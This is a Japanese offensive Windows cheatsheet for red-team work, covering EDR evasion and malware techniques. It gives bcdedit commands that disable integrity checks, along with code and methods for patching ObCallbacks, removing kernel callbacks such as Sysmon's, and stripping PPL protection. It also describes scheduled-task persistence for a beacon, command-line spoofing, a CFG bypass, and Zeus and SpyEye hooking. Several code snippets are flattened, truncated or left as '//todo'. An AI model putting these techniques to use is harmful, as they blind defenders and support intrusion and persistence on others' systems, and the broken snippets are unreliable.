bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
その後、コンピュータを再起動してください。明らかに、これらのコマンドを実行するマシンではローカル管理者権限が必要です。再起動が必要なため、これはまったくOPSECではありません。
ObRegisterCallbacks (wdm.h) を使用すると、特定の操作(例: CreateProcess/OpenProcess(ハンドル作成))によってトリガーされたときに、ユーザーモードアプリの動作を変更できる「カスタム」コールバックを定義できます。
基本的に、Ob Callbacks は OB_OPERATION_REGISTRATION 配列で定義され、その配列は OB_CALLBACK_REGISTRATION 構造体(コールバックで埋められる)で埋められます。
OpenProcess/CreateProcess でトリガーする例:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };
obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed
NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, ®_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {
DbgPrint("[+] Registering callbacks !\n");
}
**process_ob_pre_op_callbacks** はユーザー定義関数であり、コールバックがインターセプトされるときに呼び出され、それによって操作を許可または拒否することができます。```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {
if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}
注記 : My_PROCESS_ALL_ACCESS は #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (win32 16進コード) と定義できます。
ObCallbacks のパッチ方法 : それらをパッチする方法はいくつかありますが、おそらくこの目標を達成するための最も一般的な2つの方法は、"nop-nop-nop-ret" のようなスキーマを持つ obcallback 関数を書くこと、または _CALLBACK_ENTRY_ITEM アイテムから obcallback 関数ポインタを消去することです。これらのテクニックは実際に PatchGuard をトリガーする可能性があることに注意してください。実際のエンゲージメントでこれらのテクニックを使用する際は、十分に注意してください。
カーネルコールバックは、主に AV/EDR ベンダーが不審なアクションを監視・防止するためのより良い方法を提供するために、Microsoft によって導入されました(それ以前は、多くのセキュリティ製品が同じ目的のために SSDT フックなどのカーネルモードパッチを使用していましたが、新しい PatchGuard 保護により、この新しいソリューションを使用せざるを得なくなりました)。
カーネルコールバックにはいくつかの種類があります。特に次のとおりです。
- ProcessNotify : プロセスが作成されるか終了したときに呼び出されます。
- ThreadNotify : スレッドが作成されるか終了(削除)したときに呼び出されます。
- LoadImageNotify : ある実行可能イメージが別のEXEによってロードされたときに呼び出されます(例 : プロセスによってロードされたDLL)
それぞれに関連付けられた関数があり、例えばドライバ内でそれらを設定するための PsSetCreateProcessNotifyRoutineEx があります。後者の関数は、Windows システムで新しいプロセスが作成または削除されるときにコールバックルーチンを登録します。そのプロトタイプは次のように定義されています。```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** は、イベントがトリガーされたときに呼び出されるコールバックルーチンへのポインタです(ここでは、プロセスの作成/終了)。
**Remove** は、PsSetCreateProcessNotify がコールバック関数を登録するか削除するかを示す単純なフラグです(ドライバのクリーンアップ関数で役立ちます)。
コールバック関数はこのプロトタイプを使用します :```cpp
void OnProcessNotify(
PEPROCESS Process,
HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo
);
ここで、Process は作成/削除される現在のプロセス、ProcessId はこのプロセスのID、そして CreateInfo はこのプロセスに関するさまざまな情報を含む構造体です。
ドライバーが新しいコールバックルーチンを登録すると、そのアドレスは通常 Pspname_of_your_callback という名前の配列に格納されます。たとえば、すべての ProcessNotifyRoutine 関数のリストは PspCreateProcessNotifyRoutine 配列に格納されます。
このようなコールバックを削除するには、この配列を空にすればよいだけです!
残念ながら、このとても興味深い配列のアドレスを直接取得する方法はありません。幸いなことに、メモリ内の特定のオフセットを検索することで手動で行う方法が多数あります。
正しいアドレスを見つけたら、登録されているすべてのコールバックを列挙し、ドライバー名でフィルタリングして(Sysmonドライバーかもしれない ?:)))、リスト内の対応するコールバック関数だけを削除できます。
保護プロセスは Windows Vista で導入されました。これは EPROCESS という名前の構造体として定義できます(未定義 : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess)。この構造体は、プロセスが保護されているかどうかを3つの興味深いメンバーで定義します。``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION
3番目のメンバー(Protection)はPS_PROTECTION構造体であり、以下のように定義されています:```
_PS_PROTECTION
+0x000 Level : UChar
+0x000 Type : Pos 0, 3 Bits
+0x000 Audit : Pos 3, 1 Bit
+0x000 Signer : Pos 4, 4 Bits
PPL 保護を解除するには、SignatureLevel、SectionSignatureLevel、Protection を 0 に設定する必要があります。
EPROCESS ベースアドレスと PS_PROTECTION のオフセットは 0x6c8 なので、2 つの値を加算することで取得できます。
コード例 : //todo
注 : このセクションのいくつかの例は、以下から取得しました : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations
Windows OS でタスクをスケジュールする「従来の」方法は、グラフィカルインターフェイス(タスクスケジューラ)を介するものです。しかし、侵害したシステムへのコマンドラインセッションしか得られないことが多いため、これは私たちにとってあまり実用的ではありません。
幸いなことに、Win32 API を使用してそのようなタスクを作成できるため、ビーコン用の優れた永続化や権限昇格を実現できます。
基本的には、COM ライブラリを初期化してから、CoCreateInstance() API を使用して ITaskService クラスの新しいインスタンスを作成する必要があります。次に、ITaskService オブジェクトを編集して、ルートフォルダー、アクション、時間などを設定できます。以下にその例を示します :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/
#define _WIN32_DCOM
#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
if( FAILED(hr) )
{
printf("\nCoInitializeSecurity failed: %x", hr );
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";
// ------------------------------------------------------
// Create an instance of the Task Service.
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
if (FAILED(hr))
{
printf("Failed to create an instance of ITaskService: %x", hr);
CoUninitialize();
return 1;
}
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
if( FAILED(hr) )
{
printf("ITaskService::Connect failed: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
printf("Cannot get Root Folder pointer: %x", hr );
pService->Release();
CoUninitialize();
return 1;
}
// If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); // COM clean up. Pointer is no longer used.
if (FAILED(hr))
{
printf("Failed to create a task definition: %x", hr);
pRootFolder->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
printf("\nCannot get identification pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
printf("\nCannot put identification info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
printf("\nCannot get settings pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
printf("\nCannot put setting info: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
printf("\nCannot get trigger collection: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger );
pTriggerCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
printf("\nCannot put the trigger ID: %x", hr);
// Set the task to start at a certain time. The time
// format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
// For example, the start boundary below
// is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
printf("\nCannot put the start boundary: %x", hr);
hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
printf("\nCannot put the end boundary: %x", hr);
// Delay the task to start 30 seconds after system start.
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
printf("\nCannot put delay for boot trigger: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection *pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
printf("\nCannot get Task collection pointer: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
printf("\nCannot create the action: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IExecAction *pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
printf("\nQueryInterface call failed for IExecAction: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );
pExecAction->Release();
if( FAILED(hr) )
{
printf("\nCannot set path of executable: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\nError saving the Task : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("\n Success! Task successfully registered. " );
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
## コマンドラインのスプーフィング
sysmon/process hackerによる監視があっても完全に機能します。コマンド引数を隠す機能を有効にできるため、ペンテスト/レッドチーム運用で役立ちます(```powershell -enc .....```)
この目的を達成するには、「正当な」コマンド引数を持つ新しいプロセスをサスペンドモードで生成し、その後PEB内でこれらの引数を直接編集します。
Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
# 雑多なもの
## x64 呼び出し規約
- 最初の4つの整数引数はレジスタ `RCX`、`RDX`、`R8`、`R9` に渡されます。
- 追加の引数はスタックにプッシュされます。
- 戻りアドレスの後には、`RCX`、`RDX`、`R8`、`R9` 用に予約された32バイト領域があります。
- ローカル変数と非揮発性レジスタは戻りアドレスの上に格納されます。
- `RBP` はローカル変数/関数引数の参照には使用されず、`RSP` は関数全体で一定に保たれます。
> 注記:
> - 関数が可変個の引数を持つ場合、スタックを使用して渡す必要があります
> - 戻り値が構造体の場合、呼び出し元は戻り値用の領域を確保し、その領域へのポインタを最初の引数として渡す責任があります
> - 呼び出し先は `RBX`、`RBP`、`R12`–`R15` レジスタの値を保持する責任がありますが、他のレジスタは自由に変更しても構いません
> - スタックは呼び出しサイトで16バイト境界に整列されます
> - 呼び出し先は、戻る前にスタックポインタ (`RSP`) を元の値に復元する責任があります
## 間接実行
ここでの間接実行とは、いくつかのタスクの実行を達成するためのROPを指します。そのためには、正しいレジスタにパラメータを追加する必要があり、[x64呼び出し規約](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) を理解する必要があります。
- `CONTEXT` 構造体を用いたROPでは、現在のコンテキストを取得するために `RtlCaptureContext` が必要で、 `CONTEXT` 構造体をパラメータとして、正しいレジスタに正しい関数引数を入れてROPの実行を継続するために `NtContinue` が必要です。必要であれば、アセンブリでROPを構築することもできます。
### SetProcessValidCallTargets による CFG バイパス
これは実際のバイパスではありませんが、ROPで使用している関数(すなわち `NtContinue`)をホワイトリストに登録します。```c
CFG_CALL_TARGET_INFO Cfg = { 0 };
Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags = CFG_CALL_TARGET_VALID;
SetProcessValidCallTargets( ( HANDLE )-1, Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
このテクニックは、有名なマルウェアであるEmotetで発見されました。新しいpowershellプロセスを生成するために(何らかのペイロードを実行しようとして)、WMIインスタンスとともにCOM apiを使用します。このトリックにより、powershellプロセスはWMIPrvSEプロセスの子プロセスとして生成されます。これは、不審なexeやWordファイルによって生成されるよりもはるかに疑われにくいものです。
有名なZeusマルウェアは、侵害されたシステム内で自身のログ(キーストローク、パスワードなど)を隠すのに、かなり巧妙なトリックを使用します。表示される結果をフィルタリングするために、NtQueryDirectoryFile() 関数をフックします。```cpp
typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
if (file_matches) {
// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## SpyEye キーロガーフック技術
SpyEye マルウェアはキーストロークを保存するために TranslateMessage() 関数をフックします。フックプロシージャは GetKeyboardState 関数を使用して、入力された文字を 20000 バイトのバッファに追加します。
Source : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
## Wannacry キルスイッチ
Wannacry ランサムウェアは、メインペイロードの実行前に解決されるキルスイッチ URL を使用していました。このドメインが登録された後、すべての Wannacry サンプルは無効化されました。このテクニックはこちらで紹介されています : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
豆知識 : このドメインは難読化されておらず、平文の文字列で存在していました。かなり面白いですね:)